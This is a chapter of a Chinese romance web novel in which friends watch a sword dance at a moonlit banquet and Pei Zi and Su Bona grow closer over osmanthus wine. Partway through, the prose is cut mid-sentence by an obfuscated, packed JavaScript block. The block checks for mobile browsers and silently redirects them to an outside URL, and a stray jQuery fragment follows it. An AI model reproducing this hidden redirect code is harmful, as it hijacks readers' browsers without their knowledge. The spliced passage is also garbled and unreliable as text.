41. 第 41 章
作品:《与质子出逃后》 苏博纳正待出言阻止,却赶不上洛渊挥手一声令下。
“咚!咚!咚!”
鼓面敲击的声音骤然响起。紧接着一群手持长剑,腰佩挂鼓的士兵从四周涌了上来。待到站定,其余三人才明白苏博纳出言阻止的原因所在。
只见那群精壮魁梧的士兵一如昨日花神游街队伍领头的人一样,赤裸着上身,用颜料涂满了各式各样神秘诡谲的图案花纹。
“岂有此理!”
苏博纳张着的嘴还未说出一句谴责的话,坐在对面的陆抗就率先拍案而起,“昨日我就想说,大庭广众之下,如此赤身裸体,不知礼节,简直成何体统!”
陆兄这是......喝多了?
虽然这句话里面的每一个字,每一个标点符号都是自己想说的,认可的。但是,这话一从陆抗嘴里出来怎么就这么奇怪呢?
他之前说过这么长一段的话吗?苏博纳一边暗中思索着,一边看向对面一副岂有此理的模样的陆抗。
“身体发肤受之父母,乃天下最为珍贵美丽的实物,多加展示有何不可!”
梁思恬用力拽下陆抗,眼神里满是你不嫌丢人我还嫌丢人的嫌弃。
“说得好!”
随着洛渊一声叫好。队伍中挂着腰鼓的男人扬起鼓槌张扬有力地挥动,“咚咚咚......”一连串的锤击声响彻云霄。
而伴随着这些鼓声,数道白光闪过,"铮——"
剑锋出鞘的嗡鸣压过最后一声鼓点,十柄青铜剑同时刺破暮色。月影在士兵腾挪间剧烈摇晃,剑脊上跳动的暗红纹路竟与汉子们胸口的朱砂图腾呼应起来。
剑光交错时裴籽甚至忘记了呼吸,起初她因羞赧而侧着上半身躲藏在苏博纳身后,只敢探出脑袋偷瞄两眼。但渐渐地她被那些凌厉的剑气震撼了心灵,一双眸子睁得老大,目不转睛地望着那一片剑影和人影交织的战局。
“就这么好看啊?”折扇骨节擦着少女额前碎发唰地展开,苏博纳手臂横亘在裴籽眼前。素白绢面映着月光,将剑影中翻飞的赤铜胸膛挡去大半。
他喉结在锦缎立领间滚动两下,指节攥得扇柄咔咔作响。衣料窸窣声里裴籽正往右挪,扇面立即跟着右移半寸,“还看,有我好看吗?”压低的声音里带着浓重鼻音,显露出主人不加隐忍的醋意。
裴籽哪里听得出他语气中的酸味儿,只顾沉浸在剑光之中。睫毛扫过绢面发出沙沙轻响,她突然抓住扇骨往下压,指尖沾着的桂花糕碎屑粘在苏博纳手背上,“苏子,你说那彩绘怎么就像长在他们身上一样了呢?”
“......”苏博纳默然。
“啊,你说为什么呀?”注意到蹭在苏博纳手背上的碎屑,裴籽连忙慌忙抽出帕子替他抹掉。
苏博纳双眸明亮,淡笑着眉梢一挑,这手帕是当初他为裴籽擦泪的那个。
苏博纳故作思考地沉吟一瞬,随即摇了摇头,“哎呀,我偏不告诉你。”
“哼,小气鬼。”裴籽一愣,撇了撇嘴。
忽然,她想是发现了什么,陡然凑近苏博纳,盯着他的脸瞧了又瞧。
“怎、怎么了?”
“苏子,你的脸怎么那么红啊?”裴籽好奇的又贴近了一些距离。
“啪嗒!”折扇跌落在地上发出清脆的响声,苏博纳双手按住桌沿,身体微微往后仰着避开裴籽的视线。
“没、没有啊......”苏博纳的声音明显有些颤抖。
“苏子,你该不会是发烧了吧?”
裴籽伸出手掌覆盖在苏博纳额头上,感觉温度很烫人,她不由蹙起眉头。
太近了他们离得太近了,近到几乎能够闻到彼此身上的香味。这种感觉让他心跳加速,呼吸也变得急促起来。
她的手指冰凉柔软,触碰到皮肤时带着丝丝痒意,让苏博纳情不自禁地咽了一口唾沫。
“桂花酒酿,是桂花酒酿。很甜,也易醉人。”苏博纳强装镇静侧开,努力平复着自己躁动的心绪。
“是啊!”裴籽对此连连点头,酒酿入口甘甜绵密,桂花香气萦绕在舌尖,让人忍不住回味,她也在不知不觉中两杯下肚。
说话间,裴籽举起酒杯朝苏博纳敬酒,“苏子,这杯酒我敬你,敬你这一路上没有伤害我,也没有把我卖掉。”
“……”这都什么跟什么呀,苏博纳哭笑不得。“油嘴滑舌,又是跟梁思恬学的吧。”
“不是。”许是喝了酒的缘故,此时裴籽的话变得异常多起来,也仿佛比平日更活泼灵动些。脸颊晕染上一层淡淡地绯色,一双眸子熠熠生辉,似笑非笑地望着苏博纳,“和你学的,全部都是和你学的。”
“啊?”苏博纳看呆了这样的裴籽,一时间竟不知该作何反应,只能愣愣地眨巴着眼睛。
“不是吗?不是什么都是你教给我的嘛。”裴籽说完咯咯娇笑,“喝不喝,你喝不喝呀?”
“喝什么呀,别喝了。”
本就是不曾沾过半点酒的人,哪里能喝这样易醉的酒水,居然一不留神就让她喝了这么多。
苏博纳被她的表现惊得彻底清醒,伸手就要去夺下裴籽手中的酒盏。裴籽早已预料到他会有此动作,早在他伸手的同时就已经把酒盏收到身后,他刚一抬手,就被少女的另外一只手挡住了手腕。
“你喝嘛,就算我谢谢你的谢礼啦。”裴籽朦胧下的声音软绵绵糯糯的,仿若一阵风就能刮散了他身上所有的坚持。
他心一颤,竟鬼使神差般的接过了酒盏,仰脖饮尽。
“最后一杯,你不能再多喝了。”苏博纳叹息,这让他的命令听起来失去所有威慑力。
裴籽抿了一口,满意地咂了咂嘴。
“好耶!”
一阵惊喜雀跃的欢呼声忽然响起,打断了裴籽继续将酒杯向嘴边送的动作。
她有些茫然的抬头,发现那群士兵早已不见了踪影,取而代之的是拎着剑柄走向院中央的洛渊与陆抗二人。
“这是要作甚?”裴籽疑惑地眨了眨眼。
梁思恬一脸兴奋地凑上前来,拉着她的手往前一指,“洛少主嫌看得不尽兴,叫嚷着要自己上去舞上一舞。陆抗也要上去凑热闹,说是要和洛少主比上一比呢!”
“哦。”裴籽应了一声,目光却不由自主落到梁思恬兴致满满的脸上,与其说是陆大哥想要上去凑热闹,倒不如说是恬妹看热闹不嫌事大,硬把人推上去的吧。
恬妹又靠过来了……
裴籽暗自动了动肩膀,测过头的同时,几乎是与梁思恬头靠头,她觉得酒酿仿佛是让人越喝越渴的,可越渴越又想喝些什么解解渴。
这样想着她又端起了面前的酒杯,身子也立正了些,小声道:“我还没见过舞剑呢,恬妹。”
梁思恬撇嘴,摇晃着肩膀嘟囔着,“小裴虽然很不礼貌,但是,你从前都是大门不出二门不迈的嘛,怎么什么也没见过呀。”
这话说完,梁思恬懊恼的啧叹。知道不礼貌还说出来,梁思恬你是笨蛋吗?这样的话与直接说别人没见过世面有什么区别?
果然,当她反应过来想要说些道歉的话挽救一下时,裴籽的表情已经愣了下来,酒杯抵在唇边手臂保持着举起的动作。
见状梁思恬急忙挽住裴籽手臂,唇角向下弯了弯,一脸的后悔莫及,“啊,是我又说话不过脑子了,小裴你别生气啊。”
拉扯的动作同时拽回了裴籽游离的意识,她轻哈一声,缓缓放下酒杯,眸光流转间定格在苏博纳胜券在握的脸上——她酒杯中的液体,被换成了略带些干涩的茶水。
许是趁她不注意时偷天换日的动作太过匆忙,侧边的杯沿上还惨留着酒酿的残渍,随着茶水一起卷入口腔。裴籽暗暗咂么着嘴,干涩与清甜的口感席卷夹杂在一起,她唇边也悄悄爬上一抹笑意。
裴籽许久不出声,梁思恬笃定这会儿她是真的生气了。毕竟谁会喜欢一个认识没多久违的人,如此冒昧的嘲笑自己没见过世面。
梁思恬深吸口气,恼恨地长叹,“小裴,我下次再不说这种话了,你别生气啦。”她扒拉着裴籽的胳膊,软着生气撒娇道歉。
这时裴籽才注意到耳边一直恍惚响着的,是梁思恬絮叨的话语,她有些呆愣地抬头,目光疑惑地望着梁思恬,“我没有生气呀。”
随即唇角微微牵动,露出尴尬的表情,“怎么了?我方才没听到。”
梁思恬:“......”
这下轮到梁思恬傻眼了,她一脸懵地回忆着刚刚自己的心里斗争。一时间不知是该庆幸裴籽没有听到,还是该为她不认真听自己说话而小小生个气。
在她还在两者之间纠结抉择时,裴籽替她做了选择。她曲了曲手轻碰了下梁思恬挽着自己的手臂,“快看他们舞剑吧,你不是很期待的么。”
是哦!
梁思恬的思绪瞬间被转移,目光重新专注与庭院中间的二人。
经过方才的一阵折腾,此时洛渊,陆抗二人的舞剑进程已到达最精彩的部分,
只见二人在院中翩然起舞,身姿飘逸,衣袂翻飞,剑光闪烁间犹如天外飞仙。两人的剑法各不相同,可是配合上两人默契的剑指,却显得赏心悦目至极,剑光如虹,凌厉如电,让围观众人目不暇接,频频鼓掌叫好。
且不说梁思恬激动地对陆抗大肆赞扬,就连裴籽也在这样的氛围下忍不住拍手叫好。
“怎么,都这样了你还能忍住不上去试试?”一只手掌按在了苏博纳的肩上,声音不大却满是跃跃欲试的激动与怂恿。
苏博纳牵动肩膀,从陌生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382111|197869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
触碰下脱离。移眸定视,梁思恬不知何时绕了几步来到苏博纳这一侧,目光灼灼地看了看裴籽,又对苏博纳扬了扬下巴。
“嗯?什么试试?”
梁思恬恨铁不成钢地瞪了他一眼,“舞剑啊,你没看到小裴眼睛都要挪不开了吗?一看就是喜欢呀!”
苏博纳眉心微拧,今日的桂花酒酿他是失神般地喝了一杯又一杯,根本无心在意其他事宜。
被梁思恬这一提示,他才发现不仅本就爱现眼的洛渊,就连一向沉默寡言的陆抗都如同开屏的孔雀,不断地展示自己的剑术。而裴籽裴籽对此显现出了莫大的兴趣,整张小脸都红透了,双颊微醺,目光随着动作移动,一刻也不曾离开过。
喜欢?喜欢什么?
舞剑,还是人?
苏博纳不禁苦笑,握着酒杯的手紧了紧,许久不做反应。
直到梁思恬再次不耐烦地催促他,他紧咬的后槽牙才慢慢松弛,再抬眼时,脸上又是众人常见的笑容,“抱歉啊,我、不会这些。”
不会就不会呗,想来这些也的确不是每个人都会的。
可不知怎的,梁思恬的的确确地从垂首的动作中窥出几分不甘与失落。
“这有啥抱歉的,大多数人都是不会的。”梁思恬掩住额头,试图挡住眼中的尴尬。
手掌遮掩下的双眸转动着落到裴籽身上,瞧她这幅兴高采烈的模样,这可惜苏博纳没法趁机大展身手。
载歌载舞剑间时间飞速,几人吃饱喝足耍尽了兴看饱了眼,纷纷瘫坐着歇息。
“散了散了。累死我了,今晚必须要好好休息一通。”洛渊率先开口,招呼着丫鬟们收拾残局,摆了摆手就左摇右晃的回了房。
“嗯,走了。”陆抗应了一声,捞起身侧不知不觉中之间喝了数杯酒酿,早已烂醉如泥的梁思恬,寒若冰霜的眼中此时是无尽的宠溺与无奈。
裴籽笑盈盈地看着二人离去的身影。梁思恬借酒生事,挂在陆抗身上闹着要去掀他的面具,而陆抗再怎么不愿意也不肯松开抱着一放手就会摔下去的梁思恬,只能后仰着脑袋不停闪躲。
这一幕让人看着同情又滑稽。裴籽被二人的互动所感染,低头抿着嘴笑。
“陆大哥也喜欢恬妹吧。”裴籽情不自禁道,她总是会被别人的欢喜而感染。
但是她自然没有聪慧到,能够窥得那二人间哪怕显而易见的氛围。是梁思恬太同意暴露的分享欲,将她与陆抗相处的这一年多时间里每一件值得说的,不值得说的东西都说了个遍。
她告诉裴籽,在日复一日的相处中,她早喜欢上了陆抗,甚至可以打包票,陆抗或许一定也是喜欢自己的。只是她没说,他没不曾说过。
又过了不知多久,晚风飒飒吹拂,可着人的领口处钻,虽不至冷到发抖,可也让人萌生了回屋的念头。
收拾残局的丫鬟也都走了,裴籽拍拍衣服起身走到庭院中央,她仰头看着头顶皎洁的明月,婆娑的树影,缓缓张开双臂。任由风吹过耳际,带来丝丝凉意。
瑟瑟寒风瞬间从四面八方钻入皮肤的每一寸,这本该让她迷糊的酒意清醒,可不知为何却起了相反的作用。
她摊开双臂,在撒下的月光下转了一圈,仰起脖子深深嗅了口月光中沁人心脾的淡雅幽香,脸上浮现出最肆意最动容的笑,“这样快乐的日子,我还想再过十年,二十年,一百年!”
“嗯。”耳畔突兀传来的声音吓了她一跳,她猛地扭过头看向身后,发现不远处伫立着一位身材修长挺拔的男子,见她回头抛下手中的落叶,径直向她走来。
裴籽惊怔,不可思议地看着苏博纳。
他没离开?他居然没离开!?
那自己方才自己愚蠢的行为岂不是都被他看了去。
裴籽咬唇脸色涨得绯红,尴尬得恨不得找个地缝钻进去,“你、你、你没走?”
“嗯。”苏博纳点了点头,目光柔和地盯着她的脸。
又是嗯......
裴籽衣袖下的手窘迫地扣着指甲,“你在,怎么不出声啊?”
“是你没看向我。”苏博纳的语气很平静,但却有种往日没有的,无形的压迫感,逼得裴籽不敢直视。
这是怎么了?
“苏子,你怎么了?”与其说是她敏锐地发觉苏博纳的不对劲,倒不如说是苏博纳将自己的不开心与别扭完完全全明明白白的写在脸上。
她担心地上前一步,掌心贴上苏博纳的脸颊。
热的,很热。
“苏子,你好像醉了。”裴籽皱着眉头轻叹,收回手的那一瞬却被他抓了个正着,宽大的掌心覆盖在她的手背,将她整个人拉近,让彼此更加靠近。
“我不知道,或许是醉了,或许是最清醒的时候。”

